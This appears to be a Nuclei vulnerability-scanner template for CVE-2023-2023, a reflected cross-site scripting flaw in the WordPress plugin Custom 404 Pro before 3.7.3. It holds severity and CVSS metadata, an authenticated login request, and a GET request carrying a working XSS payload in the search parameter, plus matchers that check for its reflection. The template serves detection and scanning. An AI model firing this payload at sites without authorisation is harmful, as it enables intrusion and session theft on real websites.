id: CVE-2023-2023 info: name: Custom 404 Pro < 3.7.3 - Cross-Site Scripting author: r3Y3r53 severity: medium description: | Custom 404 Pro before 3.7.3 is susceptible to cross-site scripting via the search parameter due to insufficient input sanitization and output escaping. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. impact: | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website. remediation: Fixed in version 3.7.3 reference: - https://wpscan.com/vulnerability/8859843a-a8c2-4f7a-8372-67049d6ea317 - https://wordpress.org/plugins/custom-404-pro/advanced/ - https://nvd.nist.gov/vuln/detail/CVE-2023-2023 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2023-2023 cwe-id: CWE-79 epss-score: 0.00071 epss-percentile: 0.29205 cpe: cpe:2.3:a:kunalnagar:custom_404_pro:*:*:*:*:*:wordpress:*:* metadata: verified: true max-request: 2 vendor: kunalnagar product: custom_404_pro framework: wordpress tags: cve2023,cve,wpscan,xss,wordpress,wp-plugin,authenticated,custom-404-pro,intrusive,kunalnagar http: - raw: - | POST /wp-login.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded log={{username}}&pwd={{password}}&wp-submit=Log+In - | GET /wp-admin/admin.php?page=c4p-main&s={{randstr}}%22%20style=animation-name:rotation%20onanimationstart=alert(document.domain)// HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - status_code_2 == 200 - contains(content_type_2, "text/html") - contains(body_2, "onanimationstart=alert(document.domain)//") - contains(body_2, "Custom 404 Pro") condition: and # digest: 4a0a00473045022100a360d08e1de572c50342f6d9e06130632a111b0101e2fce5ad8d5504276a232302204d1a74e57b8ecac3dbcee2b9b4d1c6ad887d33d3950207993f1b36ca89c856b0:922c64590222798bb761d5b6d8e72950